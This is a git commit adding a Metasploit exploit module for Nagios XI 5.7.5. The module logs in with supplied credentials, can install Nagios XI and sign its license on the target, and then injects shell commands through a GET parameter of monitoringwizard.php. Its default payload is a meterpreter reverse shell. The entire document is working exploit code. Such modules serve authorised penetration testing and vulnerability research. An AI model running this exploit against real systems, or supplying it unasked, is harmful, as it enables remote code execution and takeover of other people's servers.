Create nagios_xi_configwizards_authenticated_rce.rb
Add initial module
This commit is contained in:
parent
4143e6ea92
commit
5846d95b25
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::NagiosXi
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Nagios XI 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298,
|
||||
OS command injection vulnerabilities in several file paths that enables an authenticated
|
||||
user to perform remote code execution as either the `apache` user or the `www-data` user on NagiosXI
|
||||
on Nagios XI 5.7.5
|
||||
|
||||
Valid credentials for a Nagios XI user are required. This module has
|
||||
been successfully tested against Nagios XI 5.7.5 running on Ubuntu.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Matthew Mathur'
|
||||
],
|
||||
'References' => [
|
||||
['CVE', 'CVE-2021-25296'],
|
||||
['CVE', 'CVE-2021-25297'],
|
||||
['CVE', 'CVE-2021-25298']
|
||||
],
|
||||
'Platform' => %w[linux unix],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Linux (x86/x64)', {
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'CMD', {
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Platform' => 'unix',
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2021-02-13',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options [
|
||||
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
|
||||
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
|
||||
OptString.new('TARGET_URL_PARAM', [true, 'Targeted URL Parameter (plugin_output_len or ip_address)', 'plugin_output_len'])
|
||||
]
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def finish_install
|
||||
datastore['FINISH_INSTALL']
|
||||
end
|
||||
|
||||
def check
|
||||
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
|
||||
# an array containing the http response body of a get request to index.php and the session cookies
|
||||
login_result, res_array = nagios_xi_login(username, password, finish_install)
|
||||
case login_result
|
||||
when 1..3 # An error occurred
|
||||
return CheckCode::Unknown(res_array[0])
|
||||
when 4 # Nagios XI is not fully installed
|
||||
install_result = install_nagios_xi(password)
|
||||
if install_result
|
||||
return CheckCode::Unknown(install_result[1])
|
||||
end
|
||||
|
||||
login_result, res_array = login_after_install_or_license(username, password, finish_install)
|
||||
case login_result
|
||||
when 1..3 # An error occurred
|
||||
return CheckCode::Unknown(res_array[0])
|
||||
when 4 # Nagios XI is still not fully installed
|
||||
return CheckCode::Detected('Failed to install Nagios XI on the target.')
|
||||
end
|
||||
end
|
||||
|
||||
# when 5 is excluded from the case statement above to prevent having to use this code block twice.
|
||||
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
|
||||
if login_result == 5 # the Nagios XI license agreement has not been signed
|
||||
auth_cookies, nsp = res_array
|
||||
sign_license_result = sign_license_agreement(auth_cookies, nsp)
|
||||
if sign_license_result
|
||||
return CheckCode::Unknown(sign_license_result[1])
|
||||
end
|
||||
|
||||
login_result, res_array = login_after_install_or_license(username, password, finish_install)
|
||||
case login_result
|
||||
when 1..3
|
||||
return CheckCode::Unknown(res_array[0])
|
||||
when 5 # the Nagios XI license agreement still has not been signed
|
||||
return CheckCode::Detected('Failed to sign the license agreement.')
|
||||
end
|
||||
end
|
||||
|
||||
print_good('Successfully authenticated to Nagios XI')
|
||||
|
||||
# Obtain the Nagios XI version
|
||||
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
|
||||
|
||||
nagios_version = nagios_xi_version(res_array[0])
|
||||
if nagios_version.nil?
|
||||
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
|
||||
end
|
||||
|
||||
print_status("Target is Nagios XI with version #{nagios_version}")
|
||||
|
||||
if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'
|
||||
nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.
|
||||
end
|
||||
|
||||
# check if the target is actually vulnerable
|
||||
version = Rex::Version.new(nagios_version)
|
||||
if version == Rex::Version.new('5.7.5')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# TODO: Change this based on the selected path
|
||||
def execute_command(cmd, _opts = {})
|
||||
# execute payload based on the selected URL Parameter
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/nagiosxi/config/monitoringwizard.php'),
|
||||
'cookie' => @auth_cookies,
|
||||
'vars_get' =>
|
||||
{
|
||||
datastore['TARGET_URL_PARAM'] => "; #{cmd};"
|
||||
}
|
||||
}, 0) # don't wait for a response from the target, otherwise the module will in most cases hang for a few seconds after executing the payload
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.arch.first == ARCH_CMD
|
||||
print_status('Executing the payload')
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
execute_cmdstager(background: true)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue